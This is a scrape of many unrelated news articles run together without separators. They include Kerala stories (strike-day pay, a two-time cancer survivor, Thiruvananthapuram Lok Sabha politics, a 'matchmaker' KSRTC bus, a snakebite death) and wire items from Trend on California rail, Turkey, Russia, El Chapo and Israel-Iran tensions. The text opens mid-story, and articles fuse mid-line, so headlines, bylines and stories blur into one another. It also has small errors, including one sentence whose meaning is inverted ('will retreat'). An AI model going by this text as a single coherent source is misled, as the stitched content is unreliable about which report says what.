(The interview had to be wound up as the Governor's secretary indicated it was time to leave for an inauguration in Kozhikode. He parted with a smile and handshake. Time allotted for this interview was a small window after breakfast.)

Read more: Latest Kerala newsThiruvananthapuram: Government employees and teachers who failed to show up for work on all-India strike held on January 8 and 9 will be paid salary for those days. The state government has decided to notify the two working days as 'dies-non' so that the pay is not lost. Moreover, two leave will be adjusted against the dies-non, which in legal parlance means 'a day on which no legal business can be done'.

The order from the Department of Communications and Public Relations under the chief minister says employees can apply for available leaves, including casual leave, for the two days.

Dies-non was invoked since the ruling dispensation was in concord with the organisations that called the strike against the central government. Only 111 and 115 employees of the 4,860-strong secretariat workforce showed up on January 8 and 9, respectively.

Functioning of government offices across the state was affected during the two-day strike. The state spends Rs 2,500 crore on salary a month. The average for two days comes to Rs 166 crore.

Read more: Latest Kerala newsWashington: India and China are leading the way in greening lands, thanks to ambitious tree-planting programs and intensive agriculture in both countries, NASA satellite data has shown.

The world is getting literally greener than it was 20 years ago, the study published in the latest edition in Nature Sustainability on Monday said.



It showed that at least 25 per cent of the global foliage expansion since the early 2000s came from China, with India close behind.

This surprising new development detected by NASA satellites showed that the two nations with the world's biggest populations were leading the way with their ambitious tree planting programs and intensive agriculture.

In 2017 alone, India broke its own world record for the most trees planted after volunteers gathered to plant 66 million saplings in just 12 hours.



The greening phenomenon was first detected in the mid-1990s, but they did not know whether human activity was one of its chief, direct causes, said researchers from the Boston University, who found that the greenery increase in the new century has been by five per cent - an area equivalent to the entire Amazon rainforest.

Rama Nemani, a research scientist at NASA's Ames Research Center and a co-author of the study said: "When the greening of the Earth was first observed, we thought it was due to a warmer, wetter climate and fertilization from the added carbon dioxide in the atmosphere."

But with data from NASA's Terra and Aqua satellites, scientists realised that humans are also contributing. "Humans are incredibly resilient. That's what we see in the satellite data," said Nemani.

"China and India account for one-third of the greening, but contain only nine per cent of the planet's land area," said lead author Chen Chi of Boston University.



"That is a surprising finding, considering the general notion of land degradation in populous countries from over-exploitation," said Chen.

The new insight was made possible by a nearly 20-year-long data record from a NASA instrument orbiting the Earth on two satellites. It's called the Moderate Resolution Imaging Spectroradiometer, or MODIS.

The high-resolution MODIS data provides very accurate information, helping researchers work out details of what's happening with Earth's vegetation, down to the level of 500 metres on the ground.



The land area used to grow crops in the two nations have greatly increased both their annual total green leaf area and their food production.



The researchers found that through multiple cropping practices, where a field is replanted to produce another harvest several times a year -- production of grains, vegetables, fruits and more have increased by about 35-40 per cent since 2000 to feed their large populations.

How the greening trend may change in the future depends on numerous factors, both on a global scale and at the human level in these countries.



Nemani explained that icreased food production in India is facilitated by groundwater irrigation so in case groundwater is depleted, the trend may change.

"But, now that we know direct human influence is a key driver of the greening Earth, we need to factor this into our climate models," Nemani said.



"This will help scientists make better predictions about the behaviour of different Earth systems, which will help countries make better decisions about how and when to take action."



The researchers, however, also pointed out that the gain in greenness does not offset the damage from loss of natural vegetation in tropical regions, such as Brazil and Indonesia.

The consequences for sustainability and biodiversity in those ecosystems remain, but overall, Nemani sees a positive message in the new findings.Sindhu P Menon of Beypore in Kozhikode is now living her third life, having defeated cancer twice. In 2004, till age 29, she lived her first life. At that time, she consulted a gynaecologist, after she felt something had gone amiss. When medicines did not bring relief, advanced tests were conducted, which confirmed cancer.

She sought treatment at Kozhikode Medical College under Dr Ajayakumar and was also subjected to surgery.



Courage



When chemotherapy was initiated, the doctor asked her to be strong. This is a war, he told Sindhu.

She soon realized what the word strong really meant. Losing hair at that young age was a difficult phase in Sindhus life. She considered using a wig and soon found one with the help of a relative in Chennai. It was provided by a man named Harianna, who supplies wigs to Telugu film actors, recalls Sindhu.

Another daring activity Sindhu engaged in during this time was driving. Even though she had learnt driving, she had not dared to take it on her own to the road. But now, feeling that she had nothing to lose, Sindhu boldly travelled around in the four-wheeler.

Second hurdle

In 2016, Sindhu faced problems again. She had fever that did not subside and met the doctor again. Sindhus son was in Class 10 at that time and she was tense. When she was diagnosed with cancer before, her son was just three years old.

Tests confirmed cancer again. However, Sindhu did not feel chemotherapy was difficult this time. Initially, she did not lose hair too. But soon, hair began to fall. Sindhu had to undergo surgery again. Meanwhile, Sindhu decided not to go for a wig.



When Sindhu was diagnosed with the disease for the first time, she was working in Kozhikode Magistrate Court. The second time when the disease struck, she used to work as a senior clerk at the honorary court in the Civil Station. She now lives with her father Padmanabha Menon, mother Padmavally and son at Anamika in Beypore.



An open heart

According to Sindhu, the biggest change she felt after conquering cancer was that her reluctance to help others vanished. Now she has an open mind and supports many people. During the early stage, when the disease was diagnosed, I had some worries. But all that has disappeared now and I feel no tension. Many people suffering from the disease contact me. I tell them my experience of having conquered cancer not once, but twice, says a confident Sindhu, with the voice of a winner.Thiruvananthapuram: The Lok Sabha constituency that represents the Kerala capital and surrounding areas is the confluence of political undercurrents. Congress recorded an impressive victory in the constituency in 2009 through Shashi Tharoor, but the former Union minister saw his lead slide from 99,998 votes to 15,470 votes five years later. Tharoor defeated his challenger, BJP warhorse O Rajagopal, only after a nail-biting finish in 2014.

Thiruvananthapuram harbours no loyalties. CPI veteran M N Govindan Nair won the seat with 69,822 votes in 1977 yet he lost by a whopping 1,07,057 votes to Congress rival A Neelalohithadasan Nadar in the next election. The Congress retained the seat for three more seats through A Charles. Even O N V Kurup, the celebrated poet, could not wrest the seat for the Left Democratic Front.

Electoral prospects in Thiruvananthapuram depend on two critical factors: the compulsions of caste-based bargains and the charisma of the candidate. Though communal undercurrents are at play in Thiruvananthapuram, the constituency is not captive to any particular community. Votes are cast based on the situations in the central and state political landscapes. The constituency has always defied predictions. This time the pitch is queered by the issue related to the entry of women to the Sabarimala shrine.

Electoral prospects in Thiruvananthapuram depend on two critical factors: the compulsions of caste-based bargains and the charisma of the candidate.

The Thiruvananthapuram Lok Sabha constituency comprises seven assembly segments  Thiruvananthapuram, Kazhakkoottam, Vattiyoorkkavu, Nemom, Kovalam, Neyyattinkara and Parassala. The CPM won the Neyyattinkara, Parassala and Kazakkoottam segments in the assembly election of 2016 and the Congress won Thiruvananthapuram, Vattiyoorkavu and Kovalam. The BJP made its debut in the Kerala assembly by winning Nemom.

The Left Democratic Front also wields power in the Thiruvananthapuram corporation, which spans over three assembly segments in Thiruvananthapuram. While the LDF won 43 of the 100 seats in the corporation council, the BJP won 35 and the Congress got 21 seats.

The Lok Sabha constituency is dominated by Hindu voters. Hindus constitute 66.4 per cent of the population in the district, while Christians are 19.10 per cent and Muslims 13.72 per cent. Nairs have an upper hand in the Thiruvananthapuram Lok Sabha constituency, followed by Nadars and Ezhavas. While Nairs are in a majority in Thiruvananthapuram, Vattiyoorkavu, Nemom and Neyyattinkara assembly segments, Nadars are a critical force in Parassala, Nemom, Kovalam and Neyyattinkara areas. Christian and Muslim voters dominate coastal areas. Yet all these patterns change in accordance with the personality traits of the candidates.

If Govindan Nair was benefited by the goodwill in the community and an efficient campaign by the CPI in 1977, the wind changed in favour of Neelalohithadasan Nadar in the next election. A Charles too relied on the support of the Nadar community to retain the seat in 1984, 1989 and 1991. The choice of Charles, an influential leader in the Church of South India, was a political manoeuvre by K Karunakaran to split the votes in the Nadar community.

The CPI struck back in 1996 when K V Surendranath defeated the Congress candidate. The Congress reestablished its position of primacy in Thiruvananthapuram when Karunakaran himself was offered the seat in 1998. In 1999, V S Sivakumar retained the seat for the Congress.

The Congress grip on the constituency loosened in 2004 when CPI fielded former chief minister P K Vasudevan Nair as its candidate. The party veteran was called back from retirement to cash in on the goodwill he enjoyed among the voters of Thiruvananthapuram in general and Nairs in particular. His demise caused a byelection which was won by party colleague Pannian Raveendran.

Tharoor recorded an impressive win in his debut but struggled to ward off the BJP challenge in 2014.

The constituency rose to national prominence in 2009 when Shashi Tharoor was picked as the Congress candidate. Tharoor recorded an impressive win in his debut but struggled to ward off the BJP challenge in 2014. Tharoor owes his second chance to the minority voters in the coastal areas who consolidated behind him to avoid a BJP victory. The BJP had played its cards well, fielding O Rajagopal to eat into the Nair vote base of Tharoor.

The BJP was not always a force to reckon with in Thiruvananthapuram. The party's electoral debut in the constituency was in 1989 when P Ashok Kumar won 56,046 votes. The party increased its tally to 80,566 in 1991 through Rajagopal and 74,904 in 1996 through K Raman Pillai. In 1998 BJP's Kerala Varma Raja scored 94,303 votes.

O Rajagopal raised the bar for the BJP in 1999 by polling 1,55,221 votes and bettered his own record in 2004 with 2,28,052 votes. BJP's choice flopped in 2009 as P K Krishna Das polled only 84,094 votes. In 2014, Rajagopal was back as the BJP candidate. He lost to Tharoor but his score was an impressive 2,82,336 votes.

Senior BJP leader O Rajagopal with BJP's Rajya Sabha MP Suresh Gopi.

In short, the BJP owes its formidable presence in the constituency to Rajagopal. The party made a mark in the corporation council election riding on a national wave that swept it to power in New Delhi. A year later, Rajagopal opened the party's account in the Kerala Legislative Assembly.

The BJP commands a section of the Nair and Brahmin votes in the city who used to vote for the party even before Modi's rise to power. The party has to ensure the support of a lion's share of the Nair voters if it were to win the seat. BJP's poll managers hope that the Sabarimala issue has drawn such a section towards the party. Yet they have no solution to make up for the alienated minority votes.

The major problem faced by the party is a candidate who can match the stature of Rajagopal. Many in the party now rues the decisions that resulted in an over-reliance on the veteran. Mizoram governor Kummanam Rajasekharan, party state president P S Sreedharan Pillai and Suresh Gopi MP are the other leaders whose names are being floated. Even Mohanlal's name is being discussed even though the actor has made it clear that he is not willing to jump in the fray.

Finding an acceptable candidate is a challenge for the Left Democratic Front too. The CPI is expected to suggest Panniyan Raveendran. The ruling front may face headwinds caused by the Sabarimala issue, especially the opposition from the Nair Service Society.

The LDF leaders are worried that the front might end up losing a section of Nair women who see the state government's attempts to comply with the Supreme Court order on Sabarimala as an affront to their faith. Cherian Philip, a CPM fellow traveller in Thiruvananthapuram, said the left front's chances in Thiruvananthapuram defied predictions in the changed political situation. "The LDF has an upper hand in the new situation but a lot depends on the candidate," he said.

A large section of Nair voters in the constituency are strong supporters of the Congress. The party is keenly watching for any inroads the BJP is able to cut into its traditional vote bank. The party is also making all attempts to consolidate its base among the minorities.

Tharoor is likely to be the party candidate for a third time.Cheruthoni: A KSRTC bus that made a reputation as a matchmaker is back in action. As many as seven ticket collectors who worked on the Munnar-Kuyilimala bus at various points found their life partners from among passengers before the service was called off due to a mass retrenchment of temporary staff at the state-owned corporation.

The corporation started service from Munnar to Kuyilimala, where the Idukki district collector's office is situated, in 2002. Many of the passengers, it turned out, bought a ride to a happy married life. The people in the area, who fondly called the bus 'Kalyana Vandi (Wedding Vehicle)', were left heartbroken when the corporation suspended the service in December.

The corporation was told by the Kerala High Court to sack 3,861 empanelled conductors across the state and fill the vacancies from candidates chosen by the Kerala Public Service Commission. As many as 41 conductors lost their jobs in the Munnar depot, responsible for the Kuyilimala bus. Only seven of them were replaced by the public recruiter.

The bus resumed service last week, evoking memories of the romantic past. The first couple who owe their alliance to the bus are Siji and Raju, a resident of Moovattupuzha who was appointed as a conductor on the bus. Siji, a student of the Pavanathma College at Murikkasseri, was a regular passenger. They saw each other for a while before getting married.

The pattern was repeated when Unmesh from North Paravur went to work on the route as a conductor. He was drawn towards Chitra, who boarded the bus every working day from her house at Chinnar to her college at Adimali. They too got married later.

The romances did not always have a smooth ride. When Shameera, an employee of the farmers' welfare centre at Thadiyambadi, was proposed by conductor Rajesh, the news raised hackles. Rajesh and Shameera belonged to different communities and the families were opposed to an alliance. The couple withstood the pressure and opted for a civil marriage in January 2012.

Sijomon and Reshma too faced opposition from their folks. The bus conductor noticed the girl who always bought tickets for all her 10 friends. He started chatting up the leader of the college students and eventually fell for her. They got married after four years of romancing each other.

Sreejith from Murikkasseri also met his future wife while on duty on the bus. Athira was a regular passenger to Adimali. Sreejith, Rajesh and Sijomon no longer work for the KSRTC. They were among the empanelled conductors who were fired after the court order despite putting in 11 years of service.Cherthala: In an instance of gross medical negligence, a man, who was bitten by a snake, died after he was administered medicine for gas trouble and allergy at the taluk hospital here in Alappuzha district.

C K Varendra Pai, 74, lost his life while being taken to the Alappuzha Medical College hospital for advanced treatment. It is learnt that the Taluk hospital authorities did not give an anti-venom shot to Pai despite having the requisite medicine at their disposal.

Pai was bitten by a snake near his home at Manorama Kavala in ward 29 of the Cherthala Corporation on Sunday night. Later, he was taken to the casualty wing of the taluk hospital where the duty doctor gave first aid and an injection for gastritis and allergy, and referred the patient to the Alappuzha Medical College.

The relatives of Pai, who is a bachelor, alleged that anti-venom was not prescribed by the doctor. Pais sister Valsalabai and her son Rajkumar said that they would lodge a complaint against the negligence on the part of the hospital authorities.

But hospital superintendent Dr Anil Kumar said that he didnt get any complaint relating to the incident. The hospital has anti-venom drugs and these medicines have lot of side-effects. Will check with the duty doctor why anti-venom medicines were not given to the patient, he added.

Read more: Latest Alappuzha newsWhen M A Yusuff Ali first landed at the Dubai port 44 years ago, the Arab emirates were vast swathes of desert. After the ship from Mumbai anchored at the port on December 31, 1973, he travelled for five hours to reach Abu Dhabi. He wanted to be a businessman.

He started off as a worker in a family-run shop. He said that he used to sleep on the roof terrace of the shop. He said that he had to pour buckets of water on the concrete to cool off before he could sleep. His ambitions were sky high though.

Today, Yusuff Ali presides over a business empire spread over three continents. He owns two aircraft and a fleet of premium cars. Still he is thinking of ways to expand his business.

He said that he drew inspiration from Prophet Mohammed who said that an honest and sincere businessman should always be with the people. An honest businessman is one who never cheated, stole or tampered with measures. A sincere businessman always respected commitments in transactions.

Yusuff Ali said that he was also inspired by Mahatma Gandhi who famously said that the customer was the king. A businessman has to cater to the taste of the customer.

Yusuff Ali has access to live data related to his retail business. He can tap into his keyboard and know how many people visited each of his shops. Speaking from his office in the Y Tower in Abu Dhabi, he took a look into his computer screen and said that 2441 people had visited the Lulu Hyper Market in Kochi the previous day. As many as 5714 people had gone to a store in Malaysia, resulting in sales of about Rs 1 crore.

Read Part - II: Nurturing a business empire rooted in humilityCalifornia Governor Gavin Newsom said on Tuesday the state will dramatically scale back a planned $77.3 billion high-speed rail project that has faced cost hikes, delays and management concerns, but will finish a smaller section of the line, Trend reports citing Reuters.

Lets be real. The current project, as planned, would cost too much and respectfully take too long. Theres been too little oversight and not enough transparency, Newsom said in his first State of the State Address to lawmakers on Tuesday.

Right now, there simply isnt a path to get from Sacramento to San Diego, let alone from San Francisco to L.A. (Los Angeles). I wish there were, he said.

Newsom said the state will complete a 119-mile (191 km) high-speed rail link between Merced and Bakersfield in the states Central Valley. In March 2018, the state forecast the costs had jumped by $13 billion to $77 billion and warned that the costs could be as much as $98.1 billion.

Newsom said he would not give up entirely on the effort and will continue to seek additional funding.

California planned to build a 520-mile (826.8 km) system in the first phase that would allow trains to travel at speeds of up to 220 miles per hour (354 kph) in the traffic-choked state from Los Angeles to San Francisco and begin full operations by 2033.

Abandoning high-speed rail entirely means we will have wasted billions and billions of dollars with nothing but broken promises, partially filled commitments and lawsuits to show for it, Newsom said. And by the way, I am not interested in sending $3.5 billion in federal funding that was allocated to this project back to Donald Trump.

U.S. House Transportation and Infrastructure Committee Republicans cited a recent Democratic clean energy proposal in noting the projects demise, tweeting that the plug gets pulled on the frequently delayed, over-budget San Francisco-LA (high-speed rail) project. Reality: 1, #GreenNewDeal: 0.

A state audit issued in November said Californias HighSpeed Rail Authoritys flawed decision making and poor contract management have contributed to billions in cost overruns and delays.

The Obama administration awarded the state a total of $3.5 billion in 2010 and California voters in 2008 approved nearly $10 billion in bond proceeds. The U.S. Transportation Departments inspector generals office noted in August 2018 that the state had only identified $30.7 billion in funding, or less than half the projects needs.

A spokesman for U.S. Transportation Secretary Elaine Chao did not immediately comment.

Newsom said the state will finish environmental reviews from San Francisco to Los Angeles, connect the revitalized Central Valley to other parts of the state, and continue to push for more federal funding and private dollars. But lets just get something done.

The governor also said he will name his economic development director, Lenny Mendonca, to chair the High-Speed Rail Authority, and vowed new transparency and to hold contractors and consultants accountable to explain how tax dollars are spent.

Im not interested in making the same old mistakes, Newsom said.Baku, Azerbaijan, Feb. 13

By Rufiz Hafizoglu - Trend:

Azerbaijan will take part in joint military exercises with Turkey, which will be held in the Aegean Sea under the name "Mavi Vatan" (Blue Homeland), Trend reports via Turkish media.

A number of other European and Asian countries such as Bosnia and Herzegovina, Qatar, Germany and Italy will also take part in the naval exercises.

In total, 251 soldiers from 15 countries will take part in the military exercises.

The exact start date of the exercise has not been revealed.

Earlier military exercises were also conducted in the country's Kars province with the participation of several countries, including Azerbaijan.

---

Follow the author on Twitter: @rhafizogluBaku, Azerbaijan, Feb. 13

By Rufiz Hafizoglu - Trend:

As part of a special operation conducted against the Kurdistan Workers Party (PKK) terrorist group, 14 PKK militants were detained in Istanbul, Trend reports with reference to the Turkish media Feb. 13.

The terrorists planned a series of provocations in connection with the 21-year anniversary of the detention of PKK leader Abdullah Ocalan.

All detainees are citizens of Turkey.

On Feb. 15, 1998, Turkish security services detained Ocalan in Kenya.

The conflict between Turkey and the PKK, which demands the creation of an independent Kurdish state, has lasted more than 25 years, claiming more than 40,000 lives. The PKK is recognized as a terrorist organization by the UN and the EU.

---

Follow the author on Twitter: @rhafizogluBaku, Azerbaijan, Feb. 13

By Rufiz Hafizoglu - Trend:

Coast Guard Command of Turkeys Aydin province detained 118 illegal migrants in the Turkish sector of the Aegean Sea, Trend reports with reference to the Turkish media.

There are citizens of Iran, Afghanistan and Palestine among the detainees.

Illegal migrants intended to enter the territory of Greece, according to the report.

All detainees will be deported from Turkey.

The Turkish Coast Guard earlier detained 223 illegal migrants in the countrys Edirne province on the border with Greece.

---

Follow the author on Twitter: @rhafizogluMoscow will support Syrias demand in the UN Security Council that the US-led coalition halt air strikes against civilian facilities, Russian Foreign Minister Sergey Lavrov said at a news conference on Wednesday, Trend reports referring to TASS.

"The coalition regularly hits wrong targets while civilians become victims and civilian infrastructure facilities become victims. This is not a new trend," Russias top diplomat noted.

"We will support Syria in the UN Security Council and we will support the appeals by all the other countries that will suffer from this lawlessness committed by the armed forces of external players who have not been invited to their territory," Lavrov said.

Syrias Foreign Ministry sent a message to the UN Security Council on January 20 with the demand to put an end to the Western coalitions air strikes against communities in the province of Deir ez-Zor.

On January 19, the coalitions aircraft attacked the community of al-Baghuz Fawqani, killing over 20 civilians, including women and children. The air strike was delivered when a group of residents tried to get out of the area controlled by the Islamic State terrorist organization.Russian Foreign Minister Sergey Lavrov said he did not discuss the Intermediate-Range Nuclear Forces (INF) Treaty during a phone conversation on Tuesday with US Secretary of State Mike Pompeo, Trend reports referring to TASS.

"The issue of the INF Treaty was not mentioned during the conversation with Mike Pompeo," Lavrov told reporters on Wednesday. "When our colleagues are ripe, we will be ready to hold a professional, specific and non-politicized dialogue. Mike Pompeo did not touch on this issue yesterday, this means that the Americans are not ripe now."

On Tuesday, at the initiative of the US side Lavrov and Pompeo held a phone conversation to discuss the situation in Venezuela and Syria. The top diplomats also discussed the US plans to impose further sanctions on Russia in connection with the Skripal poisoning case. Lavrov noted that this move would worsen the situation in bilateral ties and the atmosphere on the international arena.Mexican drug lord Joaquin Guzman Loera, also known as "El Chapo" (The Shorty), was convicted guilty on all 10 criminal counts at a federal court in New York City's Brooklyn borough, Trend reports citing Xinhua.

The 61-year-old is expected to be sentenced to life imprisonment without the possibility of parole at his sentencing hearing, which is scheduled on June 25, according to prosecutors.

The drug kingpin was indicted on 10 charges including engaging in a continuing criminal enterprise, use of firearms, as well as manufacture and international distribution of cocaine, heroin and other drugs.

During the three-month trial, a local jury heard from more than 50 witnesses, many of whom were active members of Mexico's Sinaloa cartel, the world's largest drug-trafficking organization once led by Guzman.

The Sinaloa cartel has trafficked a large amount of heroin, methamphetamine, marijuana and cocaine from Mexico into the United States over the past years, prosecutors said.

Guzman escaped from prison twice in Mexico before he was finally recaptured and extradited to the United States in 2017. Since then he has been held in solitary confinement in the Metropolitan Correctional Center in lower Manhattan, which is considered to be one of the most secure places in the United States.

The Brooklyn Bridge, a city landmark as well as a vital traffic connection between Manhattan and Brooklyn, was closed each time when Guzman was transported under heavy security through the two boroughs, causing trouble for commuters.If countries want to be considered a friend of the State of Israel, they need to demonstrate their friendship by moving their embassy to Jerusalem, according to Guatemala's Minister of Tourism Jorge Mario Chajon, Trend reports referring to The Jerusalem Post.

"We encourage other countries to make an important decision and transfer their embassy, because friendships must be shown in practical terms," Chajon told The Jerusalem Post during a week-long visit to Israel.

"We are a friend of Israel, so we need to show that we are a friend. Don't be pareve (neutral), be tachles (practical). If you are a friend, show it."

In May 2018, Guatemala became the second country to open its embassy in Jerusalem, two days after the United States, and remains one of only a few countries that have vocally supported President Donald Trump's decision to formally recognize Jerusalem as Israel's capital.

"The relationship between Israel and Guatemala is not just about the states or governments, but about the people. The populations of each country have been friends for many years, since even before the creation of the State of Israel," said Chajon.

"We encourage our colleagues from other countries to join us and to be promoters of peace," Guatemalan Ambassador to Israel Mario Bucaro told the Post.

"What we represent in this holy land is a commitment to promote peace, and you cannot be promoting that if youre not present. Being in Jerusalem gives us the opportunity to work together."

Now seeking to deepen relations between the countries through increased tourism, Guatemala invested heavily in one of the more dominant exhibition stands at this week's International Mediterranean Tourism Market conference in Tel Aviv.

Today, approximately 15,000 Israelis opt to visit Guatemala annually, and 5,000 Guatemalans make the journey Israel, but Chajon expects the numbers to rise in the coming years.

"That is why we are here for the first time, and Israel's Minister of Tourism [Yariv Levin] visited Guatemala last year. We are coming now to show what Guatemala is all about, and what the country can offer Israelis," Chajon said, highlighting the country's impressive volcanoes, lakes and ancient Mayan culture.

In addition to meetings with Israeli counterpart Levin and new Jerusalem Mayor Moshe Lion, Chajon has also met with Israeli businessmen in the field of hotel hospitality, customer service and security, especially in the cruise industry.

Next month, more than 30 Guatemalan mayors will arrive in Israel to promote the exchange of tourism and expertise, and show that Guatemalan-Israeli relationships go beyond the city of Jerusalem.

"What we want to say is that we are here for the long term," said Bucaro. "We are not here just to to hold a big event by transferring our embassy. We are here to promote tourism, business, greater investment and work between our countries."

Both Chajon and Bucaro emphasized the parallels that can be drawn between Israel's steadfast tourism industry in spite of security concerns and Guatemala's resolve to ensure continuity in tourism despite devastation caused by last year's volcanic eruption.

Israeli rescue teams from ZAKA and IsraAID both rushed to assist emergency efforts following the eruption.

"The disaster was a tragedy but we have recovered from it. We managed the situation well and the best way to help the country is through increased tourism," said Chajon.

"Through tourism, people can help Guatemala. Rather than asking for anything for free, we can earn money through tourism. This will give Guatemala the opportunity to reduce poverty and tackle other problems that we have."Prime Minister Benjamin Netanyah confirmed Israel attacked Syria on Monday before he boarded the plane to Warsaw for US-Polish sponsored conference, Trend reports referring to The Jerusalem Post.

Netanyahu said that Israel acts everyday  including yesterday  against Iran and its efforts to entrench itself in Syria and the region. There were foreign reports on Monday that Israeli tank shells struck two Iranian targets in southwestern Syria.

Netanyahu also said the conference will unite many countries in the world  and in the region  against Iranian aggression and its desire to conquer the Mideast and destroy Israel.

The conference  officially called the Ministerial to Promote a Future of Peace and Security in the Middle East  will include representatives from at least 10 Arab states.Israeli Prime Minister Benjamin Netanyahu departed on Tuesday night to Poland to attend the Warsaw Conference on the Middle East, Trend reports citing Xinhua.

"The focus of the conference is Iran," Netanyahu told reporters before leaving.

"We employ many means against Iran's aggression, against their attempts to achieve nuclear weapons and ballistic missiles," Netanyahu said.

Iran denies it attempts to develop nuclear weapons.

Netanyahu said that Israel's relations with many Middle East countries are "very good," but most of these ties are being held behind the scenes. According to Netanyahu, Israel has been forging new ties with Arab countries but "not all of them are overt."

Israel currently has formal diplomatic ties with a few Arab countries, including Jordan and Egypt.

Netanyahu is scheduled to meet U.S. officials during the two-day conference, co-hosted by Poland and the United States.

Some 80 countries, including about 11 Middle East countries, have confirmed their participation in the conference which will be held on Feb. 13-14.

The U.S. administration is organizing the conference and has invited Arab states and Israel to the conference. Iran was not invited.

Lebanon and Iran have condemned the meeting as an "anti-Iran circus."

The conference is thought to be an attempt by the U.S. to build an anti-Iran coalition of hardliners. Last year, Donald Trump announced the U.S. withdrawal from the 2015 multilateral nuclear deal negotiated with Iran, and reimposed sanctions on Tehran.Irish Prime Minister Leo Varadkar said he believes the European Union will strike a deal with Britain to smooth its exit from the bloc, even as Dublin continue its preparations for all outcomes, including a no deal, Trend reports referring to Reuters.

As things stand, the UK will leave the EU on March 29, six weeks from now, with or without an agreement. I believe we will strike a deal, Varadkar said in a speech on Wednesday.

We are firmly of the view that the best and only way to ensure an orderly withdrawal and protect the Good Friday Agreement is to ratify the Withdrawal Agreement, agreed between the EU and the British government.Paris expects that the February 14 summit of the Astana Format summit in Sochi, in which presidents of Russia, Iran and Turkey will take part, will produce a positive result for the Syrian settlement, French Ambassador to Russia Sylvie Bermann told TASS in an interview, Trend reports referring to TASS.

"We hope that the results will be positive," the diplomat said.

"As it is known, our President Emmanuel Macron took part in meeting [with the Astana trio] in Istanbul in late October 2018. We expect progress to be achieved on the basis of the Istanbul summit statement [which supports settlement in Syria on the basis of UN Security Council resolution 2254]."

Bermann also hopes that a Syrian constitutional committee will eventually be formed, paving the way for political settlement of the crisis in the country.Saudi King Salman has said his kingdom is committed to an independent Palestinian state with East Jerusalem as its capital before a United States-led conference on Middle East peace and security, Trend reports referring to Aljazeera.

The Saudi monarch was speaking on Tuesday during a meeting with visiting Palestinian president Mahmoud Abbas in the capital, Riyadh.

King Salman said his country "permanently stands by Palestine and its people's right to an independent state with the occupied East Jerusalem as its capital," reported the official Saudi Press Agency.

The pledge comes as the US is expected to offer hints of its proposals for peace between Israel and the Palestinians at a conference in Poland's capital, Warsaw.

Announcing the two-day conference last month, US Secretary of State Mike Pompeo said that foreign ministers from around the world would attend to take up the "destabilising influence" of Iran in the Middle East.

But with most major European powers sending low-level representation, the US and Poland have toned down the agenda, saying the gathering is not focused on Iran but rather looking more broadly at the Middle East.

According to Palestinian official news agency Wafa, Abbas informed the Saudi king on the latest developments in the Palestinian territories and discussed the "political process in light of the continued Israeli violations against the Palestinian people, land, and holy sites, and attempts to pass the so-called 'deal of the century'".

US President Donald Trump's son-in-law and adviser Jared Kushner, who has been putting the final touches on a "deal of the century" for the Middle East, will make a rare speaking appearance at the conference in Warsaw on Thursday.

Kushner, whose family is close to Israeli Prime Minister Benjamin Netanyahu, is not expected to unveil the proposal until after the April 9 election in Israel.

Kushner will reportedly visit the Middle East by the end of this month, during which he is expected to make a stop in Saudi Arabia.

The Israeli daily Haaretz reported that the Palestinian Authority's head of intelligence Majed Faraj met Saudi officials to discuss the US-proposed Middle East peace plan and its consequences.

The newspaper added that the Palestinian Authority is working to preemptively ensure Arab and Islamic countries will not support the deal.

The Trump administration faces a difficult task in selling any deal to the Palestinian Authority, which remains livid over his landmark 2017 decision to recognise Jerusalem - claimed by both peoples - as Israel's capital.

The Palestinian government - which has labelled the Warsaw conference an "American conspiracy" - has refused talks with the US until it starts what it calls a more balanced policy.Saudi Aramcos trading arm, Aramco Trading Company (ATC), signed a deal with Egypts SUMED to provide 222,000 cubic metres of gas oil storage capacity in Sidi Kerir for re-export to Europe, Egypts petroleum ministry said in a statement on Tuesday, Trend reports referring to Al Arabiya.

The companies also signed a second deal to supply fuel oil storage capacity of 165,000 cubic metres in the Red Sea port of Ain Sokhna, the statement said.

That deal may include re-exporting and supplying fuel oil to power plants in Saudi Arabia, meeting the needs of the Egyptian market and providing fuel to ships in the region, according to the statement.

SUMED is 50 percent owned by the Egyptian government and the rest is held by Arab oil exporters in the Gulf.

The deals were signed on the sidelines of an energy forum in Cairo.Baku, Azerbaijan, Feb. 13

By Azer Ahmadbayli  Trend:

Amid the 40th anniversary celebrations of the Islamic Revolution, the bellicose rhetoric between Iran and Israel has multiplied. Both countries threaten to wipe out Tel-Aviv, Haifa and, accordingly, Tehran, from the earth in the event of a military assault.

The Israeli Haaretz reports that Iran is transferring its logistics centers near Damascus to the T4 air base, located between Homs and Palmyra. The reason for the evacuation is a series of Israeli attacks on them.

But Israel, too, cannot ignore the threats of Iran and its proxies. Last year the leader of Hezbollah, Hassan Nasrallah sarcastically pointed to the fact that the best manifestation of the Israeli fear of Iran and Hezbollah is the closure of the ammonia storage and its evacuation from the north of the country. Indeed, the closure of a chemical plant near Haifa cannot be seen beyond the context of the apparent strengthening of Hezbollah's military capabilities.

The stakes in this confrontation have been rising slowly, but steadily.

Iran continues to improve its capabilities in the ballistic missile development. According to the US data, today Iran has the largest arsenal of ballistic missiles in the Middle East.

Lately, the Islamic Republic displayed several new ballistic missiles of domestic production, including new cruise missile named Hoveizeh, which has a reported range of more than 1,300 kilometers, that is enough to cover the territory of Israel.

Iran and Hezbollah, with the assistance of Damascus, are building a missile plant near the Syrian city of Safita, Israeli media reported.

A few days ago, Hassan Nasrallah requested the Government of Lebanon to purchase air defense systems from Iran, which should prevent the flights of Israeli aircraft over the Lebanese territory.

The strengthening of the Iranian military presence in Syria and Lebanon, as well as the build-up of Hezbollahs arsenal of precision weapons, together predetermine Israel's further actions.

Throughout the past and this year, Israel has made a dozen air attacks on Iran-controlled military facilities in Syria.

But if Iran and Hezbollah have so far been limited only to threatening rhetoric, now it seems that the tension is reaching its critical point.

A week ago, Secretary of the Supreme National Security Council of Iran Ali Shamkhani warned Israel that the continuation of attacks on Iranian facilities in Syria will lead to an armed conflict.

"Israeli attacks in Syria can no longer be tolerated," Shamkhani said, adding that next time the Iranian response will be "aggressive and decisive", the Iranian Fars Agency reported.

Hezbollah was more definitive. Speaking on al-Mayadeen TV at the end of January, Nasrallah warned that the "resistance axis" (meaning Iran, Hezbollah and Syria) might change their reaction to Israeli strikes, including hitting Tel-Aviv as an option.

Israel has always kept its word when it comes to its national security. Therefore, there is little doubt that it will retreat from the policy of forceful dismantling of the Iranian military infrastructure in Syria.

Iran and its allies also have nowhere to retreat  it is a bad chance to lose face in addition to the material and human losses as a result of Israeli attacks.

